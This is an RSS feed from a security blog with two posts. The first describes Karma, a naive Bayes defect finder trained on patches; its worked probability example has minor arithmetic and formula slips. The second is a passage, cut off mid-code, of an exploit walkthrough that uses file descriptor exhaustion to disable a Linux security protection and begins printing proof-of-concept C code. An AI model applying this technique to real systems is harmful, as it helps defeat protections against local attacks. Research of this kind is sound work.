<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Cipher</title>
    <description></description>
    <link>http://cipher.org.uk/</link>
    <atom:link href="http://cipher.org.uk/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Tue, 24 Feb 2026 12:48:24 +0000</pubDate>
    <lastBuildDate>Tue, 24 Feb 2026 12:48:24 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>Karma Automated source code defect identification method</title>
        <description>&lt;pre&gt;
|=-----------------------------------------------------------------------=|
|=----=[ Karma: Automated source code defect identification method ]=----=|
|=-------------------------=[ by cipher.org.uk ]=------------------------=|
|=-----------------------------------------------------------------------=|

--[ Table of contents

Table of Contents
1. Introduction
1.1  Problem to solve
1.2  Solution
2. Learning a language
2.1  Naïve Bayes classifier and source code analysis
2.2  The tool
2.3  Context based training
3. Analysing source code
3.1  Defect detection
3.2  Features
4. Works cited and bibliography
&lt;/pre&gt;


&lt;br&gt;
&lt;pre&gt;1. Introduction  &lt;/pre&gt;
&lt;p&gt;
Source code and binary defect inspection have become essential process of many,  related to software development and software analysis. It is critical to identify defects (security, performance etc) within their software prior or after a release.
&lt;/p&gt;

&lt;pre&gt;1.1 Problem to solve&lt;/pre&gt;

Most source code analysers are able to point to specific issues using &quot;hard-coded&quot; knowledge either based on strings or AST (or other intermediate representations) using rulesets and they are tightly connected to specific languages. &lt;br&gt;&lt;br&gt; Even though this could be successful, it is limited to:  
&lt;ul&gt;
&lt;li&gt;The number of supporting rules, languages etc&lt;/li&gt;
&lt;li&gt;Requires an expert for each programming language to be able and create the rulesets or lists respectively&lt;/li&gt;
&lt;li&gt;All string lists and rulesets are subjective to their author&apos;s knowledge, experience and perspective when assembling them, without taking into account, prior general and non-subjective knowledge. &lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;p&gt;
In addition, they tend to direct the reviewer&apos;s focus to a list of vulnerabilities, which is good if the reviewer is not interested in looking at the source code in depth but instead producing a semi/automated list of issues. 
&lt;/p&gt;

The method described in this text provides:
&lt;ul&gt;
&lt;li&gt;A way of analysing source code of any language&lt;/li&gt;
&lt;li&gt;Visual assistance of areas of interest in every file (heatmap) &lt;/li&gt;
&lt;/ul&gt;

&lt;pre&gt;1.2 Solution&lt;/pre&gt;
&lt;p&gt;
The main objective is to create a zero-knowledge source code analyser, able to point to any &apos;interesting pieces&apos; of code within any language and context. Instead of creating a collection (e.g &lt;a href=&quot;http://cipher.org.uk/Bugle/&quot;&gt;bugle&lt;/a&gt;, most source code analysis tools including AST based) of potentially dangerous strings or rulesets, we train a classifier do it for us very quickly. 
&lt;/p&gt;
&lt;br&gt;
&lt;blockquote&gt;Classify: “ … arrange (a group) in classes according to shared characteristics... assign to a particular class or category…”(Oxford Dictionary)&lt;/blockquote&gt;
&lt;br&gt;
&lt;p&gt;
Data classification, a sub-discipline of machine learning (Webb) (Bishop) (MacKay) can be used to assist with the categorization of the under scrutiny data. However to achieve this, we need to provide empirical data to the classifier. We need to supply a large number of problematic code snippets or bugs for the classifier to acquire the required knowledge.  
A way to do it is using &lt;strong&gt;software patches.&lt;/strong&gt; 
&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;/assets/patch.jpg&quot; width=500&gt;&lt;/center&gt;
&lt;br&gt;
&lt;p&gt;
	As we can see above, it is very clear how we can train a classifier using it. Lines with “-“ are lines which are going to be removed (therefore defects) and lines with “+” are lines that are added to the code (corrections). It needs to be noted that we make assumptions that added lines are correct (which is not always the case), however having a large enough patch collection, these anomalies should decrease. 
&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;/assets/graph.jpg&quot; width=500&gt;&lt;/center&gt;
&lt;br&gt;

&lt;pre&gt;
2.  Learning a language
2.1 Naïve Bayes Classifier and Source Code Analysis
&lt;/pre&gt;
&lt;p&gt;
To understand a little bit more how this actually works, I am going to give a very brief example on how the classification happens during ‘training’ and how the code defect confidence is calculated.
&lt;/p&gt;
&lt;p&gt;
Naive Bayes algorithm is a simplistic ,yet powerful, classification algorithm based on the Bayesian Theorem (Bayes &amp; Price, 1763). During the training phase what essentially happens is we build a database of prior probabilities (aka prior knowledge – in our case patches). So we calculate the probability associated with an object to be a classified as a defect or not defect.   
&lt;/p&gt;
&lt;p&gt;
Lets assume that we have our training data (shown in the table below) which we acquired using our patches collection: 
&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;/assets/table.jpg&quot; width=500&gt;&lt;/center&gt;

And that we want to classify the following line of code:
&lt;pre&gt; 			                strcpy(buf,argv[1]); 
&lt;/pre&gt;

Assumptions for this example:  
&lt;ul&gt;
	&lt;li&gt;3 parameters - Keyword1-3&lt;/li&gt;
	&lt;li&gt;3 possible attribute values per parameter i.e. Keyword1 [strcpy, buf, argv]&lt;/li&gt;
	&lt;li&gt;For simplicity, special characters and numbers are not calculated &lt;/li&gt;
&lt;/ul&gt;

&lt;center&gt;&lt;img src=&quot;/assets/non-classified.jpg&quot; width=500&gt;&lt;/center&gt;

&lt;br&gt;&lt;p&gt;
	A Naïve-Bayes classifier chooses the most probable classification when supplied the attribute values a1, a2, a3….a&lt;small&gt;n&lt;/small&gt;.   In our case a&lt;small&gt;i&lt;/small&gt; is keywords i.e. strcpy, buf etc. 
&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;/assets/calculation.jpg&quot; width=500&gt;&lt;/center&gt;
&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;n is the number of times for which  the current classification belongs to a category &lt;/li&gt;
&lt;li&gt;n&lt;small&gt;c&lt;/small&gt; is the number of times for which the current classification belongs to a category for a specific parameter&lt;/li&gt;
&lt;li&gt;p is a prior estimation of P(keyword|bug) &lt;/li&gt;
&lt;li&gt;m is a constant, determines the weight to the observed data , essentially it increases n .  In our case we pick a random value 2 for all data&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/classified.jpg&quot; width=500&gt;&lt;/center&gt;

&lt;p&gt;Going back to the source code line we want to classify and after removing all special characters &lt;/p&gt;
&lt;pre&gt;
	strcpy buf argv &lt;/pre&gt;

&lt;p&gt;	
Now we want to calculate P(strcpy|yes) , P(buf|yes), P(argv|yes),P(1|yes) and the same for |no
&lt;/p&gt;
&lt;p&gt;
I am going to explain only the first of these and hopefully the rest will be obvious: 
&lt;/p&gt;
&lt;pre&gt;
P(strcpy|yes) = (n&lt;small&gt;c&lt;/small&gt; +mp)/(n+m)

n = 3 (3 instances where we positively have a bug within the training data - patches)
n&lt;small&gt;c&lt;/small&gt;= 2 (strcpy was in 2 of them) 
p = 1/3 (1/possible number of values for this attribute)
m = 2 (constant – should be the same in all the calculations)
&lt;/pre&gt;
So P(strcpy|yes) =  (2+(2*0.3))/(3+2) = 0.52 and the rest are 

&lt;pre&gt;
P(buf|yes) =0.32, P(argv|yes) = 0.52 

We do the same for the classification ‘no’  :

P(strcpy|no) =  (1+(2*0.3))/(2+2) = 0.4 , P(buf|no) = 0.65 , P(argv|no) = 0.15 

Finally we calculate P(yes) and P(no) as required by Vmap 
P(yes) =0.6 and P(no) = 0.4

So the maximum likelihood of this line being a bug is :

Bug = P(yes)P(strcpy|yes) P(buf|yes) P(argv|yes)  = 0.6 * 0.52 * 0.32 * 0.52 = 0.0519168

And the maximum likelihood of ths line not being a bug is : 

NotBug =  P(yes)P(strcpy|yes) P(buf|yes) P(argv|yes)  =  0.4*0.4*0.65*0.15 = 0.0156
	
&lt;/pre&gt;

&lt;p&gt;Clearly Bug &gt; NotBug and therefore, there is high possibility that this line is a bug &lt;/p&gt;



&lt;center&gt;&lt;img src=&quot;/assets/new object.jpg&quot; width=500&gt;&lt;/center&gt;
&lt;p&gt;
Note that this method can be tailored to very specific contexts. For example here we applying the algorithm on keywords acting as parameters, however we can do some more adjustments. 
&lt;/p&gt;

&lt;p&gt;
We could for example train the classifier using only a language’s tokens and known functions which can be good in abstracting the knowledge (however that wont catch interesting numbers such as 256, 1024 etc or variables such as buf etc). Also it can be applied to intermediate source code representations such AST in combination with syntax idiosyncrasies.  
&lt;/p&gt;

&lt;p&gt;
Additionally, by introducing parameters such us, developer, licensing (?), cyclomatic complexity (and other metrics) , file extensions for the same language (i.e. h or c for the C language) , comment ratios etc we can create a very high level of accuracy.
&lt;/p&gt;


&lt;center&gt;&lt;img src=&quot;/assets/more parameters.jpg&quot; width=500&gt;&lt;/center&gt;

&lt;p&gt;
	Even though it looks cluttered and a bit complicated, Naïve Bayes and most other classifiers can handle it and produce very good results. Note that this classifier makes some very strong independence assumptions (hence naïve), which means that all calculated probabilities are contributing to the final decision without affecting the final calculated probabilities of each other.
&lt;/p&gt;

&lt;br&gt;

&lt;pre&gt;2.2 The tool&lt;/pre&gt;
&lt;br&gt;
&lt;p&gt;
This text introduces Karma an implementation of a decision-making engine, based on the probabilistic classification provided by the Bayesian theorem. Here we are going to use a NAÏVE-BAYES classifier, however any other classifier can be used such as TREE AUGMENTED NAÏVE-BAYES, BN AUGMENTED NAÏVE-BAYES,  Averaged One-Dependence Estimators  or other non BAYES classifiers.  (An Empirical Comparison of Supervised Learning Algorithms)
&lt;/p&gt;
&lt;br&gt;&lt;br&gt;
&lt;small&gt;&lt;strong&gt;&lt;em&gt;Disclaimer the tool Karma and it&apos;s predecessor ParmaHam are private since 2007 and 2010 respectively the source code is provided for Karma  and it should compile with the latest Netbeans along with it&apos;s binary and can be found at the bottom of the paper. There are plenty of bugs so it will be much appreciated if you are developer or can develop you are very welcome to provide fixes &lt;a href=&quot;https://github.com/cphr/karma&quot;&gt;here&lt;/a&gt;. The code is released under the Apache license&lt;/em&gt;&lt;/small&gt; &lt;/strong&gt;
&lt;br&gt;&lt;br&gt;
Below a screenshot from Karma&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/karma.jpg&quot; width=500&gt;&lt;/center&gt;
&lt;br&gt;
and a less advanced version ParmaHam for historical reasons below 
&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/Parmaham.jpg&quot; width=500&gt;&lt;/center&gt;
&lt;br&gt;

&lt;p&gt;
	Using our collection of patches as our empirical knowledge, and following the method described earlier, we teach the classifier to recognise what is a bug (-) and what is not (+) for a specific language (---). The flowchart below illustrates the steps taken by Karma during this process.   
	
&lt;/p&gt;

&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/training.jpg&quot; width=400&gt;&lt;/center&gt;
&lt;br&gt;

&lt;p&gt;The process above is represented by the &apos;Trainer&apos; dialog (see below) within the &apos;Training Centre&apos;:&lt;/p&gt;

&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/trainer.jpg&quot; width=400&gt;&lt;/center&gt;
&lt;br&gt;

What we need to provide to the &apos;Trainer&apos; is:	
&lt;ul&gt;
&lt;li&gt;A directory with patches to learn from&lt;/li&gt;
&lt;li&gt;A language to train for&lt;/li&gt;
&lt;li&gt;What patch file extension we are looking for (i.e. diff, patch etc)	&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
When all the info is in place, we &apos;Start Training&apos; and the currently selected Knowledge DB is used to store all the acquired knowledge. You can choose the currently active Knowledge DB at &apos;Training Centre&apos;.        
&lt;/p&gt;
&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/training-centre.jpg&quot; width=400&gt;&lt;/center&gt;
&lt;br&gt;

&lt;pre&gt;2.3 Context based training&lt;/pre&gt;
&lt;p&gt;
To achieve high accuracy in our results, we have to train our classifier in a specific context.
&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;
For example, if we are looking for security bugs, we have to train our classifier using security patches. Also if we are looking to find bugs in a specific environment, which may slightly differ like, let&apos;s say, kernel code, it would be a really good idea to train the classifier in kernel patches with security context. If we are looking within a specific bug category, such as integer overflows etc. we can train the classifier with patches tagged with these bugs. &lt;/p&gt;

&lt;p&gt;         

Generally, closed source/commercial projects have better categorisation on different types of patches, so software houses may create more accurate classifiers, however many open source projects do that as well, so we can use them as a trainer for our classifier.     
&lt;/p&gt;



&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/context.jpg&quot; width=400&gt;&lt;/center&gt;
&lt;br&gt;


&lt;pre&gt;3. Analysing source code
3.1 Defect Detection&lt;/pre&gt;

&lt;p&gt;
	At this stage, we should have our classifier ready to analyse source code and potentially find areas that relate to past-knowledge as it has been acquired during the training phase.       

	First we choose the Karma from the menu:
	
	
&lt;/p&gt;


&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/pickkarma.jpg&quot; width=400&gt;&lt;/center&gt;
&lt;br&gt;

Then we choose the source directory we want to scan: 

&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/choose.jpg&quot; width=400&gt;&lt;/center&gt;
&lt;br&gt;

&lt;p&gt;
	Before we start the analysis, we choose the language we are reviewing (which we can modify in &apos;Tools&apos; &gt; &apos;Settings&apos;), we might want to exclude lines that include some strings in which we have no interest. To do this we just type our exclusions in the text box.   
&lt;/p&gt;


&lt;p&gt;
After pressing &apos;Start Analysis&apos; and initiating the scan, the following happens: &lt;/p&gt;	
&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/analysis.jpg&quot; width=400&gt;&lt;/center&gt;
&lt;br&gt;

And the output on screen is: 

&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/example.jpg&quot; width=400&gt;&lt;/center&gt;
&lt;br&gt;
&lt;p&gt;
As we can see above, Karma picked lines with interesting functions and variables. This result came without any fine-tuning but purely from training on a number of security patches, which I have found very effective indeed!   The top pane can be used for code speed reading as it includes only interesting code.
&lt;/p&gt;

Below there is a video of the entire process as been done using Karma
&lt;br&gt;

&lt;br&gt;
&lt;center&gt;&lt;video width=&quot;700&quot; controls&gt;
  &lt;source src=&quot;/assets/karmavideo.mp4&quot; type=&quot;video/mp4&quot;&gt;
	Your browser does not support the video tag.
&lt;/video&gt;&lt;/center&gt;

&lt;br&gt;	
&lt;pre&gt;3.1 Features&lt;/pre&gt;
&lt;br&gt;&lt;br&gt;
Karma features include: inclusion graph, caller graphs, cyclomatic complexity, supervised learning, advanced code search, advanced xml search, comments graph, keyword cloud, bugs graph, backtrace import, karma exchange (you can send trained Karmas and you can import) etc. &lt;br&gt; 

&lt;center&gt;&lt;video width=&quot;700&quot; controls&gt;
  &lt;source src=&quot;/assets/karmafeatures.mp4&quot; type=&quot;video/mp4&quot;&gt;
	Your browser does not support the video tag.
&lt;/video&gt;&lt;/center&gt;
&lt;br&gt;&lt;br&gt;
&lt;em&gt;Note, some features require &lt;a href=&quot;https://www.doxygen.nl/download.html&quot;&gt;Doxygen&lt;/a&gt; so don&apos;t forget to set the doxygen directory where you installed it here &lt;/em&gt;
&lt;br&gt;&lt;center&gt;&lt;img src=&quot;/assets/doxygen.jpg&quot; width=&quot;500&quot;&gt;&lt;/center&gt;&lt;br&gt;

&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/karmacalledbygraph.jpg&quot; width=700&gt;&lt;/center&gt;
&lt;br&gt;
&lt;br&gt;


&lt;p&gt;
Have you found any bugs using Karma? Yes plenty of bugs. 
Do you have any example bug found with Karma which is public? Yes &lt;a href=&quot;https://ocert.org/advisories/ocert-2011-002.html&quot;&gt;here&lt;/a&gt; there is an example bug found using Karma from 2011. To identify the bug the&lt;a href=&quot;/assets/KarmaBrain-Only CVEs.zip&quot;&gt;CVEs&lt;/a&gt; Karma was used a subset of C specific assigned CVEs which you can download and import to Karma (download it and then go to Karma Exchange and import the zip file). Note that you will see functions been flagged which in many cases don&apos;t belong to the core C functions so have a look at the implementation to see how they have been misused (quite common on Kernel bugs)
&lt;/p&gt;
&lt;br&gt;
&lt;center&gt;&lt;img src=&quot;/assets/karmagraph.jpg&quot; width=700&gt;&lt;/center&gt;
&lt;br&gt;

&lt;p&gt;
Here providing &lt;a href=&quot;/assets/KarmaBrain-Kernel.zip&quot;&gt;Kernel&apos;s Karma&lt;/a&gt; which is Kernel specific security patches, &lt;a href=&quot;/assets/KarmaBrain-Only CVEs.zip&quot;&gt;CVEs&lt;/a&gt; which are userland specific patches as training and &lt;a href=&quot;/assets/KarmaBrain-Learn C.zip&quot;&gt;Learn C&lt;/a&gt; which is a subset of security patches based on C patch debian cycle flagged as security patches. 
 Can you use it for any other language other than C? Yes providing here a &lt;a href=&quot;/assets/KarmaBrain-Java.zip&quot;&gt;Java karma&lt;/a&gt; and you can make your own for any language as long as you train on patches. &lt;/p&gt; If you want to retrain on security patches &lt;a href=&quot;/assets/kernelpatches.zip&quot;&gt;here&lt;/a&gt; there is a zip file containing thousands of linux security Kernel patches, just point Karma&apos;s training centre to the directory and retrain your Karma&apos;s brain. Note that you can keep training an already existing Karma so if you get more patches you can keep training your linux kernel Karma.
&lt;br&gt;
&lt;br&gt;
&lt;strong&gt;Download Karma&apos;s binary for MacOS &lt;a href=&quot;https://github.com/cphr/karma/releases/download/v0.4.3b/karma.zip&quot;&gt; here&lt;/a&gt; and get the source code which compiles for OSX, Linux and Windows from &lt;a href=&quot;https://github.com/cphr/karma&quot;&gt;here&lt;/a&gt;.
&lt;/strong&gt;	
&lt;br&gt;&lt;br&gt;
For historical reasons providing a download for &lt;a href=&quot;/assets/ParmaHam.zip&quot;&gt;ParmaHam compiled here&lt;/a&gt; and some &lt;a href=&quot;/assets/ParmaHam-Knowledge-Some CVEs.zip&quot;&gt;CVEs&lt;/a&gt; to import (note ParmaHam is POC version, last compiled 2009-2010)
&lt;br&gt;&lt;br&gt; 

&lt;pre&gt;4. Works Cited &amp; Bibliography&lt;/pre&gt;&lt;br&gt;
An Empirical Comparison of Supervised Learning Algorithms. &lt;br&gt; www.cs.cornell.edu/~caruana/ctp/ct.papers/caruana.icml06.pdf&lt;br&gt;
&lt;br&gt;
Bayes, T., &amp; Price, M. (1763). An Essay towards Solving a Problem in the&lt;br&gt; Doctrine of Chances. http://rstl.royalsocietypublishing.org/content/53/370&lt;br&gt;
&lt;br&gt;
MacKay, D. J. Information Theory, Inference and Learning Algorithms. Cambridge&lt;br&gt; University Press; Sixth Printing 2007 edition (25 Sep 2003).&lt;br&gt;
&lt;br&gt;
Webb, A. Statistical pattern recognition. Wiley-Blackwell; 2nd Edition edition (18 July 2002).&lt;br&gt;
&lt;br&gt;
Bishop, C. M. Pattern Recognition and Machine Learning. Springer; New Ed edition (1 Feb 2007).&lt;br&gt;

A Comparison of a Naive Bayesian and a Memory-Based Approach&lt;br&gt;
National Centre for Scientific Research “Demokritos”, Annual ACM Conference on Research and Development in Information Retrieval, 2000&lt;br&gt;
&lt;br&gt;
Oxford Dictionary: http://www.askoxford.com:80/concise_oed/classify?view=uk&lt;br&gt;
&lt;br&gt;
Bugle. http://cipher.org.uk/Bugle/&lt;br&gt;
&lt;br&gt;
BinDiff. http://www.zynamics.com/bindiff.html&lt;br&gt;
&lt;br&gt;
A Critique of Software Defect Prediction Models &lt;br&gt;
Norman E. Fenton, Member, IEEE Computer Society, and Martin Neil, Member, IEEE Computer Society&lt;br&gt;
&lt;br&gt;
N.E. Schneidewind and H. Hoffmann,&quot;An Experiment in Soft- ware Error Data Collection and Analysis &lt;br&gt;
IEEE Trans. Software Eng., vol. 5, no. 3, May 1979.&lt;br&gt;
&lt;br&gt;
D. Potier, J.L. Albin, R. Ferreol, A, and Bilodeau, &quot;Experiments with Computer Software Complexity and Reliability,&quot; &lt;br&gt;
Proc. Sixth Int’l Conf. Software Eng., pp. 94-103, 1982.&lt;br&gt;
&lt;br&gt;
T. Nakajo, and H. Kume, &quot;A Case History Analysis of Software Error Cause-Effect Relationships,&quot; &lt;br&gt;
IEEE Trans. Software Eng., vol. 17, no. 8, Aug. 1991.&lt;br&gt;
&lt;br&gt;
T.M. Khoshgoftaar and J.C. Munson, &quot;Predicting Software Devel- opment Errors Using Complexity Metrics,&quot; &lt;br&gt;
IEEE J Selected Areas in Comm., vol. 8, no. 2, pp. 253-261, 1990.&lt;br&gt;
&lt;br&gt;
Automatic Identification of Bug-Introducing Changes&lt;br&gt;
Sunghun Kim, Thomas Zimmermann, Kai Pan, E. James Whitehead, Jr.&lt;br&gt;
&lt;br&gt;
D. Cubranic and G. C. Murphy, &quot;Hipikat: Recommending pertinent software development artifacts,&quot; &lt;br&gt;
Proc. of 25th International Conference on Software Engineering (ICSE 2003),&lt;br&gt; Portland, Oregon, pp. 408-418, 2003.&lt;br&gt;
&lt;br&gt;
M. W. Godfrey and L. Zou, &quot;Using Origin Analysis to Detect Merging and Splitting of Source Code Entities,&quot; &lt;br&gt;
IEEE Trans. on Software Engineering, vol. 31, pp. 166- 181, 2005.&lt;br&gt;
&lt;br&gt;
A. E. Hassan and R. C. Holt, &quot;The Top Ten List: Dynamic Fault Prediction,&quot; &lt;br&gt;
Proc. of 21st International Conference on Software Maintenance (ICSM 2005),&lt;br&gt; Budapest, Hungary, pp. 263-272, 2005.&lt;br&gt;
&lt;br&gt;
S. Kim, E. J. Whitehead, Jr., and J. Bevan, &quot;Properties of Signature Change Patterns,&quot; &lt;br&gt;
Proc. of 22nd International Conference on Software Maintenance (ICSM 2006), Philadelphia, Pennsylvania, 2006.&lt;br&gt;
&lt;br&gt;
A. Mockus and L. G. Votta, &quot;Identifying Reasons for Software Changes Using Historic Databases,&quot; &lt;br&gt;
Proc. of 16th International Conference on Software Maintenance (ICSM 2000), San Jose, California, USA, pp. 120-130, 2000.&lt;br&gt;
&lt;br&gt;
T. J. Ostrand, E. J. Weyuker, and R. M. Bell, &quot;Where the Bugs Are,&quot; 
Proc. of 2004 ACM SIGSOFT International Symposium on Software Testing and Analysis, Boston, Massachusetts, USA, pp. 86 - 96, 2004.&lt;br&gt;

J. !liwerski, T. Zimmermann, and A. Zeller, &quot;When Do Changes Induce Fixes?&quot; 
Proc. of Int&apos;l Workshop on Mining Software Repositories (MSR 2005), Saint Louis, Missouri, USA, pp. 24-28, 2005.&lt;br&gt;
&lt;br&gt;
I. H. Witten and E. Frank, Data Mining: Practical Machine Learning Tools and Techniques (Second Edition): Morgan Kaufmann, 2005.     &lt;br&gt;</description>
        <pubDate>Sun, 08 Feb 2026 08:25:34 +0000</pubDate>
        <link>http://cipher.org.uk/2026/02/08/Karma-Automated-source-code-defect-identification-method/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2026/02/08/Karma-Automated-source-code-defect-identification-method/</guid>
        
        <category>Bugs</category>
        
        <category>source code</category>
        
        <category>machine learning</category>
        
        <category>Security</category>
        
        
        <category>Articles</category>
        
      </item>
    
      <item>
        <title>Taking advantage of File Descriptor exhaustion bugs</title>
        <description>&lt;p&gt;Recently I saw an email at Full Disclosure (&lt;a href=&quot;http://seclists.org/fulldisclosure/2010/Nov/303&quot;&gt;here&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://marc.info/?l=linux-kernel&amp;amp;m=129055087923940&amp;amp;w=2&quot;&gt;here&lt;/a&gt;?), which provides a typical File Descriptor exhaustion bug and I decided to use it as a demonstration bug for this post. There are situations in which a File Descriptor exhaustion issue can help when trying to take advantage of certain conditions (in many cases local). In most of these cases exploitation will involve some kind of race condition.&lt;/p&gt;
&lt;p&gt;
The example described bellow aims in disabling a Linux security countermeasure and possibly of other OSs which implement the same type of protection in a similar way. Note that below I am demonstrating this issue in older kernel/libc versions due to changes in the way that this protection is implemented in newer versions which protects against this.&lt;/p&gt;
&lt;p&gt;Environment:&lt;br /&gt;
&lt;code&gt;manos@jaunty:~/p/ke$ uname -a&lt;br /&gt;
Linux jaunty 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;manos@jaunty:~/p/ke$ sudo aptitude show libc6&lt;br /&gt;
Package: libc6&lt;br /&gt;
State: installed&lt;br /&gt;
Automatically installed: no&lt;br /&gt;
Version: 2.9-4ubuntu6.3&lt;br /&gt;
Priority: required&lt;br /&gt;
Section: libs&lt;br /&gt;
Maintainer: Ubuntu Core developers&lt;br /&gt;
Uncompressed Size: 11.2M&lt;br /&gt;
Depends: libgcc1, findutils (&amp;gt;= 4.4.0-2ubuntu2)&lt;br /&gt;
Suggests: locales, glibc-doc, libc6-i686&lt;br /&gt;
Conflicts: libterm-readline-gnu-perl (&amp;lt; 1.15-2), tzdata (&amp;lt; 2007k-1),&lt;br /&gt;
           tzdata-etch, nscd (&amp;lt; 2.9)&lt;br /&gt;
Replaces: belocs-locales-bin&lt;br /&gt;
Provides: glibc-2.9-1&lt;br /&gt;
Description: GNU C Library: Shared libraries&lt;br /&gt;
 Contains the standard libraries that are used by nearly all programs on the&lt;br /&gt;
 system. This package includes shared versions of the standard C library and the&lt;br /&gt;
 standard math library, as well as many others.&lt;br /&gt;
&lt;/code&gt;*This glibc version was purposely picked.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;manos@jaunty:~/p/ke$ gcc -v&lt;br /&gt;
..&lt;br /&gt;
gcc version 4.3.3 (Ubuntu 4.3.3-5ubuntu4) &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;First lets print out the posted poc code:&lt;br /&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/un.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;send_fd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unix_fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msghdr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmsghdr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CMSG_SPACE&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
 
 
&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
 
&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg_control&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
